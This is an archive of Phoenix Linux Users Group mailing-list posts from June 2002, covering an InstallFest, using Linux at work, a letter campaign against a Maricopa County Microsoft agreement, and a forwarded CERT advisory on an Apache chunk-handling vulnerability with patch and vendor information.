iD8DBQE9DpTEpNoctRtUIRQRApWCAJ9+QtNUZaQTkE+F3H5wu5TncwcfVgCfUMd2 y4HiqlQlhztqiGNHXROsp8o= =7wuH -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:32:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 19:32:44 -0700 Subject: slashdot meets Message-ID: <002101c21670$6d2c1930$0301010a@tickticker.com> This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C21635.C0A10110 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable check out slashdot for an article on slashdot meets or check out the = site at http://slashdot.meetup.com . I'm signed up as tickticker in = chandler. It was JUST announced. anthony ------=_NextPart_000_001E_01C21635.C0A10110 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
check out slashdot for an article on = slashdot meets=20 or check out the site at http://slashdot.meetup.com . I'm = signed up=20 as tickticker in chandler.  It was JUST announced.
 
anthony
------=_NextPart_000_001E_01C21635.C0A10110-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:45:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Mon, 17 Jun 2002 19:45:07 -0700 Subject: InstallFest In-Reply-To: References: Message-ID: <200206171945.07726.jon@unfm00.com> Great! I look forward to seeing that. On Monday 17 June 2002 19:09, Jonathan Claxton wrote: > On Mon, 17 Jun 2002, jon@unfm00.com wrote: > > You mean you don't have a DVD drive in your box? > > Hell man.. I got DVD drives in both of my running systems and they both > can play DVDs using Xine! :) Want to see them in action, BE at the fest! > > :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:00:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 23:00:35 -0400 Subject: PLUG on Slashdot References: <200206171902.45457.voltage_spike@fastmail.fm> Message-ID: <3D0EA253.32506CEC@georgetoft.com> Logan Kennelly wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Monday 17 June 2002 05:50 pm, C. Sullivan wrote: > > On Mon, 17 Jun 2002, Dr.G wrote: > > > Not when it is OEM I believe. > > > > Sorry, you are wrong. All software sold my Microsoft is subject to a > > License Agreement, which legally is a contract. > > Correct me if I am wrong, but doesn't the vendor agree to the OEM license? > If I go buy a laptop with Windows XP today, I won't see a license agreement > when I turn the system on. When I bought my computer with XP preloaded, I turned it on, and I was greeted with the EULA, which I had to accept or reject at that time. No paper to read or lose. > On the other hand, I have a feeling that the laptop will come with little > slips of paper with the EULA on there. I might not see them, but that is > because I never made a reasonable attempt to read the paperwork. It would > be a reasonably weak argument in court to claim I was never informed of the > agreement. > > - -- > Logan Kennelly > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9DpTEpNoctRtUIRQRApWCAJ9+QtNUZaQTkE+F3H5wu5TncwcfVgCfUMd2 > y4HiqlQlhztqiGNHXROsp8o= > =7wuH > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:20:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Tue, 18 Jun 2002 03:20:58 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <200206171902.45457.voltage_spike@fastmail.fm> Message-ID: On Mon, 17 Jun 2002, Logan Kennelly wrote: > Correct me if I am wrong, but doesn't the vendor agree to the OEM license? > If I go buy a laptop with Windows XP today, I won't see a license agreement > when I turn the system on. For you to use Microsoft Windows, you must agree to Microsoft's EULA. EULA is a contract. "By breaking this seal, you agree to be bound by.." means just what it appears. Remember, you are not buying the software, you are licensing it. Legally, licenses are contracts. Therefore, the County of Maricopa is entering into contract with Microsoft. Also, remember the whole reason this was brought up in the first place: the County is considering purchasing an Enterprise (i.e. site license) License with Microsoft. That is very much within the guise of what we're talking about here. -Fedl From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 12:07:37 -0700 Subject: My letter Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C215F7.92595A70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Here is my letter to my councilman, hope it helps or does someone have = one better? did i miss anything? yeah yeah I wrote this on outlook = Express, I'm trying to load Gentoo on my Linux box, and it's a beast to = install. tickticker Councilman Brock, I am writing you in regards to the news that the Maricopa County Council = is debating an Enterprise Agreement with Microsoft. However, I have = read that according to Maricopa County Policies, Microsoft should be = disqualified from any contractual business with the County. I would = like to declare my support for Microsoft's disqualification. According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the = following: "B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes." Microsoft, having been convicted of Federal Antitrust Statutes = (penalties pending), clearly falls into the catagory described in part = 3, and several court cases past and pending show a clear lack of = integrity and business honesty as outlined in part 2. I cannot find = that ANY government body would be willing to work with such contractors, = let alone having rules against it and clearly ignoring those rules. There are many alternatives to Microsofts products. Alternatives that = have broken no laws, Federal or Local, are well supported and used by = many large governments (Germany, Taiwan, et al). As a concerned voter = in Chandler, I must point out that I cannot support criminal behavior = and would hope that my County Council would see fit to do the same and = ONLY consider alternatives as Microsoft is clearly unqualified to meet = County requirements. Thank You, my name and address ------=_NextPart_000_0007_01C215F7.92595A70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Here is my letter to my councilman, = hope it helps=20 or does someone have one better?  did i miss anything?  yeah = yeah I=20 wrote this on outlook Express, I'm trying to load Gentoo on my Linux = box, and=20 it's a beast to install.
 
tickticker
 
Councilman Brock,
 
I am writing you in regards to the news = that the=20 Maricopa County Council is debating an Enterprise Agreement with=20 Microsoft.  However, I have read that according to Maricopa County=20 Policies, Microsoft should be disqualified from any = contractual=20 business with the County.  I would like to declare my support for=20 Microsoft's disqualification.
 
According to MC1-902 DEBARMENT AND = SUSPENSION OF=20 CONTRACTORS, I read the following:
 
"B. The causes for Debarment or = Suspension shall=20 include, but are not
limited to, the following:
2. Conviction of = any=20 Person or any subsidiary or affiliate of any Person
under any statute = of the=20 Federal government, this State or its political
subdivision or any = other=20 State for:
k. Any other offense indicating a lack of business = integrity or=20 business
honesty which affects responsibility as a Contractor.
3.=20 Conviction or civil judgment finding a violation by any Person or=20 any
subsidiary or affiliate of any Person under State or Federal=20 Antitrust
Statutes."
 
Microsoft, having been convicted of = Federal=20 Antitrust Statutes (penalties pending), clearly falls into the catagory=20 described in part 3, and several court cases past and pending show a = clear lack=20 of integrity and business honesty as outlined in part 2.  I=20 cannot find that ANY government body would be willing to work with = such=20 contractors, let alone having rules against it and clearly ignoring = those=20 rules.
 
There are many alternatives to = Microsofts=20 products.  Alternatives that have broken no laws, Federal or Local, = are=20 well supported and used by many large governments (Germany, Taiwan, et=20 al).  As a concerned voter in Chandler, I must point out that I = cannot=20 support criminal behavior and would hope that my County Council would = see fit to=20 do the same and ONLY consider alternatives as Microsoft is clearly = unqualified=20 to meet County requirements.
 
Thank You,
 
my name and address
------=_NextPart_000_0007_01C215F7.92595A70-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:14:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Mon, 17 Jun 2002 15:14:02 -0700 Subject: InstallFest In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have a VisionTek Xtasy Everything Personal Cinema 5564: Basically a GeForce 2 MX400-based dual-head video card with a A/V Breakout box that has a TV Tuner (as well as s-video, composite, and stereo audio) based on a (supposedly, I haven't done any research on this) industry standard Phillips chip. It works, and works well, but I'd be interested in seeing if Linux improves my maximum capture resolution. Does anyone know of a tv viewing/capture program out there? "I have never let my schooling interfere with my education." -- Mark Twain matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jonathan Claxton Sent: Monday, June 17, 2002 3:20 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: InstallFest On Mon, 17 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I also have a machine with a TV Tuner that I am bringing to the > InstallFest, it's currently running Win2k. I'd be interested to > know what software you use to view the Capture from your TV card? > Are > there any alternatives? What options does it support (recording, > scheduling, etc...) > Welll... I only use my tv card just to watch the programs. I use a simple TV viewer program called TVSet. I also have a another program that displays the Closed Caption text as it comes out from the channel I'm watching in a terminal window. Doing all this on my Black Thunder box running Gentoo dist system and the 2.4.18 kernel that I just installed this past weekend. Just wondering but what tv card you got? Me I got a Hauppauge TV card "WinTV" I belive it's called. jzc ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQ5fKo4p6zlv2o83EQIevACg53t9Bsdq7BRUw8BaVx7PysEeBJUAnies 3v18wFZwB31ZLq5Nizl/jpC3 =JQds -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:38:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:38:36 -0400 Subject: PLUG Quick References Message-ID: This is a multi-part message in MIME format. ----NEXT--540D37B0-F5668941-EF87DE65 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable here is a Great Cheat sheet I found a few months back. Original Message: ----------------- From: Jim farli@unitywave.com Date: Mon, 17 Jun 2002 10:37:54 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: PLUG Quick References -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought that Bill's Vi quick reference is really good so I decided to change the Resources category on the PlugPresents web site to a Quick Reference category. I have asked Bill if I can link to his cool Vi reference page. Anyone else have a quick reference that they want to put up there? With a little work, PlugPresents can become the premiere reference site for Linux users in Phoenix, Arizona, the southwest, heck, maybe the world. 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----NEXT--540D37B0-F5668941-EF87DE65-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:38:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Mon, 17 Jun 2002 15:38:34 -0700 Subject: linux at work In-Reply-To: References: Message-ID: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Several of my collegues have been forced to go from WIN98 to XP and they all hate it. I've generated some interest with the multiple virtual desktops on my Suse box. I have the next task in mind, which is to implement the thin client solution that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old computers sitting around ranging from p133s to 566 celerons that could be put to good use. What was the web site for the distro that is being used in Oregon at schools to do the thin client thing. Charlie On Monday 17 June 2002 15:21, you wrote: > Sweet! Keep it up! Your next task, should you choose to accept it, is to > convert your coworker's desktops to Linux. I'll expect a monthly report > on your progress. ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:09:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 20:09:23 -0700 Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> References: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: <20020618031136.7B2721BD89@autumn.unitywave.com> You might want to look at Galeon - small and fast and it does allow not only multiple tabs in its window allowing you to view multiple sites, but it will also allow you to open additional windows with the same multiple tab capabilityes. You can move an instance of Galeon to another desktop if you wish. On Monday 17 June 2002 02:42 pm, you wrote: > This is more of a report that either a question or an answer. Fairly long. > > I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde > 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years > off and on, but this is new for me as at home I can do what ever I want and > at work, I have tasks assigned to me that must get done in a timley manner > in the way the "boss" wants. I am pleased to report that linux has met the > challange and in fact in some ways is easier and more versitile than the > other OS I've been forced to use. > > I have to have word processing and spread sheet available, for which I am > using open office 1.0. I am using Opera for a browser, but I think I will > change to Mozilla. Konquerer doesn't seem to work on one of out internal > sites. > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. > I can use virtual desktops to segregate the task groupings, which has > worked out well, but opera presents a problem as all the opera windows are > opening in the same window. If I used Mozilla, could I open a Mozilla > session in a virtual window and then keeping that session there, open 1 or > more sessions in another window? > > Enough rambling for now. If there is any interest I'll keep up the reports > of using linux as a desktop in the workplace. > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:59:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 17 Jun 2002 20:59:05 -0700 Subject: slashdot meets In-Reply-To: <002101c21670$6d2c1930$0301010a@tickticker.com> References: <002101c21670$6d2c1930$0301010a@tickticker.com> Message-ID: <200206172059.05384.alandd@mindspring.com> Well, I signed up but I already go to too many Linux and computer meetings, if you ask my wife. Seems like this is somewhat redundant to LUGs. Whatever. Let's see if something comes of it. Alan On Monday 17 June 2002 07:32 pm, tickticker wrote: > check out slashdot for an article on slashdot meets or check out the site > at http://slashdot.meetup.com . I'm signed up as tickticker in chandler. > It was JUST announced. > > anthony From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:09:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 21:09:25 -0700 (MST) Subject: My letter In-Reply-To: Message-ID: Changed "County Council" to read "County Board of Supervisors". Also, put your email address and telephone number under your address and sig. Real people with telephones and addresses in the district carry more weight. If you're not in the district, why should your message be read? Everybody, please please proof this, reword if needed. When you send this message to any of the County Board of Supervisors, it will first be screened by their staff. This email may, or may not be read by your Supervisor. Variation on the theme may help the message get noticed. Certainly a few hundred will get attention. ------------------------------------------------------------------------- Councilman Brock, I am writing you in regards to the news that the Maricopa County Board of Supervisors is debating an Enterprise Agreement with Microsoft. However, I have read that according to Maricopa County Policies, Microsoft should be disqualified from any contractual business with the County. I would like to declare my support for Microsoft's disqualification. According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the following: "B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes." Microsoft, having been convicted of Federal Antitrust Statutes (penalties pending), clearly falls into the catagory described in part 3, and several court cases past and pending show a clear lack of integrity and business honesty as outlined in part 2. I cannot find that ANY government body would be willing to work with such contractors, let alone having rules against it and clearly ignoring those rules. There are many alternatives to Microsofts products. Alternatives that have broken no laws, Federal or Local, are well supported and used by many large governments (Germany, Taiwan, et al). As a concerned voter in Chandler, I must point out that I cannot support criminal behavior and would hope that my County Board of Supervisors would see fit to do the same and ONLY consider alternatives as Microsoft is clearly unqualified to meet County requirements. Thank You, my name and address From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:09:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 21:09:43 -0700 (PDT) Subject: linux at work In-Reply-To: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Message-ID: Hi Charlie, It's called the K12LTSP and their website is: http://k12ltsp.org They focus the distro (based on RH 7.3) towards schools by adding additional software that might be useful in a K12 environment, but I found it to be perfectly suited for my work environment as well. Let me know if you have any questions as you're setting up the server and I'd be glad to help. I'll also be giving a demonstration of a K12LTSP server at the InstallFest, if you'll be attending. Good luck, and keep us updated on your progress. ~M On Mon, 17 Jun 2002, charlie bullen wrote: > Several of my collegues have been forced to go from WIN98 to XP and they all > hate it. I've generated some interest with the multiple virtual desktops on > my Suse box. > > I have the next task in mind, which is to implement the thin client solution > that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old > computers sitting around ranging from p133s to 566 celerons that could be put > to good use. > > What was the web site for the distro that is being used in Oregon at schools > to do the thin client thing. > > Charlie > > On Monday 17 June 2002 15:21, you wrote: > > Sweet! Keep it up! Your next task, should you choose to accept it, is to > > convert your coworker's desktops to Linux. I'll expect a monthly report > > on your progress. ;-) > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:14:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 21:14:29 -0700 (PDT) Subject: K12LTSP was: Linux at work Message-ID: I should also mention that I'll have 8 (or more) K12LTSP CD sets to give away at the InstallFest. ~M From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:03:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 17 Jun 2002 21:03:59 -0700 (MST) Subject: Stammtisch tomorrow Message-ID: moin, moin, just a reminder that the GNU/Linux Stammtisch is tomorrow night at Bandersnatch. Bandersnatch, like the rest of Tempe, now features no indoor smoking. This would be a good opportunity for those doing stuff for the InstallFest to meet our very own Big Man on Campus, aka Bill, to make sure we're all set for Sat. ciao, der.hans -- # https://www.LuftHans.com/ # "The purpose of IT is to seamlessly and transparently provide the other # 9/10's of the [iceberg] for people who need to work with chunks # of floating ice." -- Strata Rose Chalup From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:21:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Mon, 17 Jun 2002 21:21:31 -0700 Subject: Fw: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability Message-ID: <01b001c2167f$9f9d77b0$0401a8c0@minkland.com> Probably of interest to most on this list... Adrian ----- Original Message ----- From: "CERT Advisory" To: Sent: Monday, June 17, 2002 7:02 PM Subject: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability > > > -----BEGIN PGP SIGNED MESSAGE----- > > CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability > > Original release date: June 17, 2002 > Last revised: -- > Source: CERT/CC > > A complete revision history can be found at the end of this file. > > Systems Affected > > * Web servers based on Apache code versions 1.3 through 1.3.24 > * Web servers based on Apache code versions 2.0 through 2.0.36 > > Overview > > There is a remotely exploitable vulnerability in the handling of large > chunks of data in web servers that are based on Apache source code. > This vulnerability is present by default in configurations of Apache > web servers versions 1.3 through 1.3.24 and versions 2.0 through > 2.0.36. The impact of this vulnerability is dependent upon the > software version and the hardware platform the server is running on. > > I. Description > > Apache is a popular web server that includes support for chunk-encoded > data according to the HTTP 1.1 standard as described in RFC2616. There > is a vulnerability in the handling of certain chunk-encoded HTTP > requests that may allow remote attackers to execute arbitrary code. > > The Apache Software Foundation has published an advisory describing > the details of this vulnerability. This advisory is available on their > web site at > > http://httpd.apache.org/info/security_bulletin_20020617.txt > > II. Impact > > For Apache versions 1.3 through 1.3.24 inclusive, this vulnerability > may allow the execution of arbitrary code by remote attackers. Several > sources have reported that this vulnerability can be used by intruders > to execute arbitrary code on Windows platforms. Additionally, the > Apache Software Foundation has reported that a similar attack may > allow the execution of arbitrary code on 64-bit UNIX systems. > > For Apache versions 2.0 through 2.0.36 inclusive, the condition > causing the vulnerability is correctly detected and causes the child > process to exit. Depending on a variety of factors, including the > threading model supported by the vulnerable system, this may lead to a > denial-of-service attack against the Apache web server. > > III. Solution > > Apply a patch from your vendor > > Apply a patch from your vendor to correct this vulnerability. The > CERT/CC has been informed by the Apache Software Foundation that the > patch provided in the ISS advisory on this topic does not completely > correct this vulnerability. More information about vendor-specific > patches can be found in the vendor section of this document. Because > the publication of this advisory was unexpectedly accelerated, > statements from all of the affected vendors were not available at > publication time. As additional information from vendors becomes > available, this document will be updated. > > Upgrade to the latest version > > The Apache Software Foundation has released two new versions of Apache > that correct this vulnerability. System administrators can prevent the > vulnerability from being exploited by upgrading to Apache version > 1.3.25 or 2.0.39. The new versions of Apache will be available from > their web site at > > http://httpd.apache.org/ > > Appendix A. - Vendor Information > > This appendix contains information provided by vendors for this > advisory. As vendors report new information to the CERT/CC, we will > update this section and note the changes in our revision history. If a > particular vendor is not listed below, we have not received their > comments. > > Apache Software Foundation > > New versions of the Apache software are available from: > > http://httpd.apache.org/ > > Conectiva Linux > > The Apache webserver shipped with Conectiva Linux is vulnerable to > this problem. New packages fixing this problem will be announced to > our mailing list after an official fix becomes available. > > Cray, Inc. > > Cray, Inc. does not distribute Apache with any of its operating > systems. > > IBM Corporation > > IBM makes the Apache Server availble for AIX customers as a software > package under the AIX-Linux Affinity initiative. This package is > included on the AIX Toolbox for Linux Applications CD, and can be > downloaded via the IBM Linux Affinity website. The currently available > version of Apache Server is susceptible to the vulnerability described > here. We will update our Apache Server offering shortly to version > 1.3.23, including the patch for this vulnerability; this update will > be made available for downloading by accessing this URL: > > http://www-1.ibm.com/servers/aix/products/aixos/linux/download. > html > > and following the instructions presented there. > > Please note that Apache Server, and all Linux Affinity software, is > offered on an "as-is" basis. IBM does not own the source code for this > software, nor has it developed and fully tested this code. IBM does > not support these software packages. > > Lotus > > We have verified that the Lotus Domino web server is not vulnerable to > this type of problem. Also, we do not ship Apache code with any Lotus > products. > > Microsoft Corporation > > Microsoft does not ship the Apache web server. > > Network Appliance > > NetApp systems are not vulnerable to this problem. > > RedHat Inc. > > Red Hat distributes Apache 1.3 versions in all Red Hat Linux > distributions, and as part of Stronghold. However we do not distribute > Apache for Windows. We are currently investigating the issue and will > work on producing errata packages when an official fix for the problem > is made available. When these updates are complete they will be > available from the URL below. At the same time users of the Red Hat > Network will be able to update their systems using the 'up2date' tool. > > http://rhn.redhat.com/errata/RHSA-2002-103.html > > Unisphere Networks > > The Unisphere Networks SDX-300 Service Deployment System (aka. SSC) > uses Apache 1.3.24. We are releasing Version 3.0 using Apache 1.3.25 > soon, and will be issuing a patch release for SSC Version 2.0.3 in the > very near future. > _________________________________________________________________ > > The CERT/CC thanks Mark Litchfield for reporting this vulnerability to > the Apache Software Foundation, and Mark Cox for reporting this > vulnerability to the CERT/CC. > _________________________________________________________________ > > Author: Cory F. Cohen > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/advisories/CA-2002-17.html > ______________________________________________________________________ > > CERT/CC Contact Information > > Email: cert@cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / > EDT(GMT-4) Monday through Friday; they are on call for emergencies > during other hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT hotline for more > information. > > Getting security information > > CERT publications and other security information are available from > our web site > http://www.cert.org/ > > To subscribe to the CERT mailing list for advisories and bulletins, > send email to majordomo@cert.org. Please include in the body of your > message > > subscribe cert-advisory > > * "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2002 Carnegie Mellon University. > > Revision History > June 17, 2002: Initial release > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQCVAwUBPQ6RhKCVPMXQI2HJAQHQ7AQAs7nkN3DoS3utJlLUSOrT30PD5FDjSHmu > F3jrO6goHJVpyL5GuliDgrdP1rqZOLr19vbExKo+YMOAGo1R9FQfn6URQMiOsGG7 > KeZGGk/fZBf3n8wrA3fu8CXAW5pTi0lu3kGcLYyBU8cqEEkunEFx/nQPsANcu+fR > FnqtSf7LhQI= > =mZEs > -----END PGP SIGNATURE----- > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:41:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 21:41:21 -0700 (MST) Subject: linux at work In-Reply-To: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Message-ID: I've a collection of links, some to the various open source school projects: http://www.technicaljanitors.com/main/who_is_using_linux.php - tom e. -------------------------------------------- On Mon, 17 Jun 2002, charlie bullen wrote: Several of my collegues have been forced to go from WIN98 to XP and they all hate it. I've generated some interest with the multiple virtual desktops on my Suse box. I have the next task in mind, which is to implement the thin client solution that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old computers sitting around ranging from p133s to 566 celerons that could be put to good use. What was the web site for the distro that is being used in Oregon at schools to do the thin client thing. Charlie On Monday 17 June 2002 15:21, you wrote: > Sweet! Keep it up! Your next task, should you choose to accept it, is to > convert your coworker's desktops to Linux. I'll expect a monthly report > on your progress. ;-) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:07:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 22:07:22 -0700 (MST) Subject: Maricopa County purchasing policy, based on A.R.S.? Message-ID: Hmm, anybody send a note to the AZ State's attorney general on this? The purchasing policy I remember (dimly remember) from Arizona State University was based on the Arizona Revised Statues. I would hazard a guess that the Maricopa County policy excerpts circulating this list are also based on the A.R.S. Policy can be changed without too much fuss, but policy based on the A.R.S. can't change much without becoming illegal. Considering that several States Attorney General's are still in court, I wonder if any have looked into their own State's purchasing policy and law. - t From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:08:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 17 Jun 2002 22:08:50 -0700 Subject: My letter In-Reply-To: References: Message-ID: <200206172208.51026.lists@ybnormal.org> With a little re-wording, I sent it to my school district governing board. (Deer Valley) They mostly come under county rules. If anyone else is in the DV district, here are the email addresses for the board: Joan Bennett jbennett@do.dvusd.org Dr Susan Burke board@do.dvusd.org David Cantelme arizonalawinstitute@yahoo.com Ted Carpenter tcarpenter@do.dvusd.org (He is also a State Rep) Richard Eng reng@do.dvusd.org I'm not sure how much concern they have for technology. Earlier this year they let all their domains expire for about four months. Luck for them Network $olution$ didn't release them. Of course the renewed them at the N$ price of $29 each when they could have used Scottsdale based Go-Daddy for $8.95 each. On Monday 17 June 2002 09:09 pm, Tom Emerson wrote: > Changed "County Council" to read "County Board of Supervisors". Also, put > your email address and telephone number under your address and sig. Real > people with telephones and addresses in the district carry more weight. > If you're not in the district, why should your message be read? > > Everybody, please please proof this, reword if needed. When you send this > message to any of the County Board of Supervisors, it will first be > screened by their staff. This email may, or may not be read by your > Supervisor. > > Variation on the theme may help the message get noticed. Certainly a few > hundred will get attention. > > ------------------------------------------------------------------------- > > > Councilman Brock, > > I am writing you in regards to the news that the Maricopa County Board of > Supervisors is debating an Enterprise Agreement with Microsoft. However, > I have read that according to Maricopa County Policies, Microsoft should > be disqualified from any contractual business with the County. I would like > to declare my support for Microsoft's disqualification. > > According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the > following: > > "B. The causes for Debarment or Suspension shall include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or affiliate of any Person > under any statute of the Federal government, this State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business integrity or business > honesty which affects responsibility as a Contractor. > 3. Conviction or civil judgment finding a violation by any Person or any > subsidiary or affiliate of any Person under State or Federal Antitrust > Statutes." > > 